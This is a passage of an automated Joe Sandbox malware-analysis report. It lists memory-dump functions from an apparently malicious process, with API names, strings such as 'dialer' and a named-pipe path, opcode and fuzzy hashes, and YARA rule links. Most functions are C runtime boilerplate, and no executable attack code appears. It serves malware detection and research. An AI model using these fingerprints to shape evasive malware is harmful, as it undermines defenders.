                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: dc3ffedd7be6135a8f84524b875be16d075b61f901a1e0accb126579295e3a62
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: 60E15D7A704B408AEB60DBA7E4813DD77A0FB99798F100129EE8D57B99CB34C5A5C7C0
                                            Function 000001BCD1C5A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction ID: dda4581b91390d50fd505f312e6ce950d8bf0113295912c3ed4c669a5070e927
                                            • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction Fuzzy Hash: FBE15A7A604B808AFB609FA794813DD7BB0F7C5B98F901126EE8957B99CB34D581C7C0
                                            Function 000001BCD1C5F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: AddressFreeLibraryProc
                                            • String ID: api-ms-$ext-ms-
                                            • API String ID: 3013587201-537541572
                                            • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction ID: bd7468ecc3075ae6703e5c0e396d292525452fa1392328e77e73dac6b2595531
                                            • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction Fuzzy Hash: 8F41D23A311A1091FB1ADF97A8047DA3B95B7C5BE0F8941399D8A87B94EF38C44583D4
                                            Function 000001BCD1C5104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                            • String ID: d
                                            • API String ID: 3743429067-2564639436
                                            • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction ID: 98dee0f894475cc11224a75294316e954d586124f76d55c0334b949f66a8bf41
                                            • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction Fuzzy Hash: F0416177214B84D6E760CFA3E44879EB7A1F3C9B98F448129DA8A47758DF38C545CB80
                                            Function 000001BCD1C5D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • FlsGetValue.KERNEL32(?,?,?,000001BCD1C5C7DE,?,?,?,?,?,?,?,?,000001BCD1C5CF9D,?,?,00000001), ref: 000001BCD1C5D087
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C5C7DE,?,?,?,?,?,?,?,?,000001BCD1C5CF9D,?,?,00000001), ref: 000001BCD1C5D0A6
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C5C7DE,?,?,?,?,?,?,?,?,000001BCD1C5CF9D,?,?,00000001), ref: 000001BCD1C5D0CE
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C5C7DE,?,?,?,?,?,?,?,?,000001BCD1C5CF9D,?,?,00000001), ref: 000001BCD1C5D0DF
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C5C7DE,?,?,?,?,?,?,?,?,000001BCD1C5CF9D,?,?,00000001), ref: 000001BCD1C5D0F0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Value
                                            • String ID: 1%$Y%
                                            • API String ID: 3702945584-1395475152
                                            • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction ID: aa9fd13002c91e3e5443b91cf8a9b501dc5c707d52d4c24a7b571156d9d911db
                                            • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction Fuzzy Hash: B0115E787043C441FA69AFF769513FA7A456BC47F0F944335B8B946AEAEF68C40282C0
                                            Function 000001BCD1C57510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID:
                                            • API String ID: 190073905-0
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 89809f20474930eea10c375e54a862b82fa1e7374107c0d0cc97752a0fe43581
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: FB81B17D70874186FB50AFE7A8413D93A90A7C5B80FD48435EAC8577A6EB78C8C587D0
                                            Function 000001BCD1C59DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Library$Load$AddressErrorFreeLastProc
                                            • String ID: api-ms-
                                            • API String ID: 2559590344-2084034818
                                            • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction ID: 754351f774d391fa4bc8b6c2fb333c2db4e586ed2ae7462568f5d3ced677ad3b
                                            • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction Fuzzy Hash: 82319039212A40E1FE129F83A8407E576A4B7C8BA0F990535DD9E4B795EF79C445D3C0
                                            Function 000001BCD1C63DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                            • String ID: CONOUT$
                                            • API String ID: 3230265001-3130406586
                                            • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction ID: dbf7ec4c39588342bf5d8ab45c4a258394197e66eac7007fc86242a1a95836e9
                                            • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction Fuzzy Hash: 19118F35314B9086E7909B93E84439976A0F7C8FE5F844234EA9E877A4CF78C814C7C4
                                            Function 000001BCD1C52F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: dialer
                                            • API String ID: 756756679-3528709123
                                            • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction ID: edf77c70241982b1f7d5d7dfe79faed16f854eda5b1519b9a32a24e3e211bc8c
                                            • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction Fuzzy Hash: D4318F3A701B61C2FA14DF97A5407AD7BA0FBC4B80F8841309E8847B65EB34C46183C0
                                            Function 000001BCD1C5CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast
                                            • String ID:
                                            • API String ID: 2506987500-0
                                            • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction ID: dc349978f5670bfa46ec08554c66a0873461c150422d846f5a3977b034fcd8c1
                                            • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction Fuzzy Hash: DD11727830178041FA69ABF365553FD39456BC47F0F940734A8B647BEAEF68840282C0
                                            Function 000001BCD1C5199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                            • String ID:
                                            • API String ID: 517849248-0
                                            • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction ID: c386474787aa6933925b8a5438cd3ec1fdd67d329e267e130f116d0aab976197
                                            • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction Fuzzy Hash: 22011779304A5082EA54DB93A85879977A5F7C8FC4F884035DE9943765DF38C989C7C0
                                            Function 000001BCD1C536C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                            • String ID:
                                            • API String ID: 449555515-0
                                            • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction ID: 7f82c2a2bf44ab52d68f4d3963c77eea973b3d15bf33db869bf70c498a2b648e
                                            • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction Fuzzy Hash: 90011779711B5082FB24AFA3E80879976B0BBD9B86F840435CA8907765EF3DC508C7C4
                                            Function 000001BCD1C58FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction ID: 1268771c1cdeac38a1c60cd09911352a94d6d2a4eff7dfe164bef70a5efdc432
                                            • Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction Fuzzy Hash: B951B13A70162086FB14CFA7E848B9A3BB6F3C5B88F908578DA8647748DB35D841C7C0
                                            Function 000001BCD1C51A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: FinalHandleNamePathlstrlen
                                            • String ID: \\?\
                                            • API String ID: 2719912262-4282027825
                                            • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction ID: 7166b35ec4381c27a8016a5a6b8b7d3d8f50b00352c217060b318a3188eca9b3
                                            • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction Fuzzy Hash: 4AF03C7630464192FB608FA3E99879977A4F7C8B88FC44030DA8946968DB2CC68DCB80
                                            Function 000001BCD1C5BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction ID: a41697689ce1db07d849de8d0b7d09a9c9585c3a570d8621b9886e153cce2b92
                                            • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction Fuzzy Hash: 7DF06D79315B0481FB108FA7E8443A97761EBC8BA1F940639CAAA462F4DF2CC44883C0
                                            Function 000001BCD1C53044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CombinePath
                                            • String ID: \\.\pipe\
                                            • API String ID: 3422762182-91387939
                                            • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction ID: ec359e8c3c4444a04fcb2136c1c6143eed156079988b0994e9e1dd23490aa72b
                                            • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction Fuzzy Hash: 6AF01C79718B9492FA148F93B9141A9B765ABC8FD0F889530EECA47B28DF3CC44587C0
                                            Function 000001BCD1C55710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
                                            • Instruction ID: d628f06bde31bb536df89e2d6ff08988130edc6fd31b399efeb5242da1f24985
                                            • Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
                                            • Instruction Fuzzy Hash: 2F61967A629B84C6E6609F97E44535ABBE0F3C8794F901125EACD47BA8DB7CC540CB80
                                            Function 000001BCD1A53504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 3b635bc33490eb704288c27dd4b0567c774bf5fea7b6f2755d2882dbc5ec9097
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: 6B11A33AB1CA1119FA641FFBE4413F931916FD8378F589E38A96E062D6CB64C84541C0
                                            Function 000001BCD1C64104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 2f756b5d1dab308e2be03f7f1780f4d4bd4eb1bdf2a6ca241fc008834a17543b
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: A411733EB10A5195F66415EBD4553E931416BFC3B8FD80635EAF6476F7CB24C84182C0
                                            Function 000001BCD1A4F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: 670aac7ff2739436ab79071742e5fd9beb135b43e6854523b0722b135d802227
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: 8261A03E70464082FA699BEFE5447EA77A1EFC6790F55643ECA0E137A5DB34C84182C0
                                            Function 000001BCD1C5AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CallEncodePointerTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3544855599-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 433bdf2299ba3c16a6f8e1b87e578c31a00048dbdd6840f16e6794cb1e064cdd
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: BB61493A600B848AFB10DFA7D4403DD7BA0F3D4B88F544225EE8917B98DB38D595C780
                                            Function 000001BCD1A4A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 2847a346a743ad894c02e16c16aa94a450984056b91805539ee9976e8136bb06
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: BA517D3A304780CAEB648F97944439877A0FBD5B98F18412EDA9E87B95DB78D450C7C0
                                            Function 000001BCD1C5AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 3c3500babf2e6c1bc49e4afd37c9242dabe8e97b22d3b642fa4921ec8c538219
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: D7517C7A1002808BFB648FA7A58439D7BA0F3D4B85F984226DAD947BD5CB38D4A1C7C1
                                            Function 000001BCD1A48405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: f849cf96769beae90525c500df3fd892d5e6e67addcf8fa5bfde38ab2d7aebfa
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: 7351AA3A7016008AEB14DFE7F444B9937A5FB94B98F508138DA1E4B78CEB34D94187C5
                                            Function 000001BCD1A483E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: 61920456fc05d40141ad69a206ee7df6182a9df0eb17a53c0cd6ed4d15f2dcd6
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: 3831893A301640D6E714DFA3F844B9977A4FB81B98F158028EE5E4B78ADB38C940C7C5
                                            Function 000001BCD1C62058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: FileWrite$ConsoleErrorLastOutput
                                            • String ID:
                                            • API String ID: 2718003287-0
                                            • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction ID: a7b4dc228e714544a523453acd45d5901d7d55963ebe3be6d7d988616df8c095
                                            • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction Fuzzy Hash: BFD1AE36714A8089E711CFABD4403EC3BB5E7D4798F944226DE99A7BA9DB34C506C3C0
                                            Function 000001BCD1C514A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Free
                                            • String ID:
                                            • API String ID: 3168794593-0
                                            • Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction ID: 8775c5f926e1f505e1b6e6cda5386908513c62e785b971431f5d18ed21c11495
                                            • Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction Fuzzy Hash: 0211397A605AA0D6E714DFE7A8041897BA0F7C9F85F484039EA8953726DF38C45187C0
                                            Function 000001BCD1C62980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: ConsoleErrorLastMode
                                            • String ID:
                                            • API String ID: 953036326-0
                                            • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction ID: ca0ce9996baaff330da1e53df5d8565370f87feaaa8350a3055108761943fcd7
                                            • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction Fuzzy Hash: CC91D37A71065095F760DFE794803ED3BA0F7C4B88F944129DE8A67AA5DB35C482C7C0
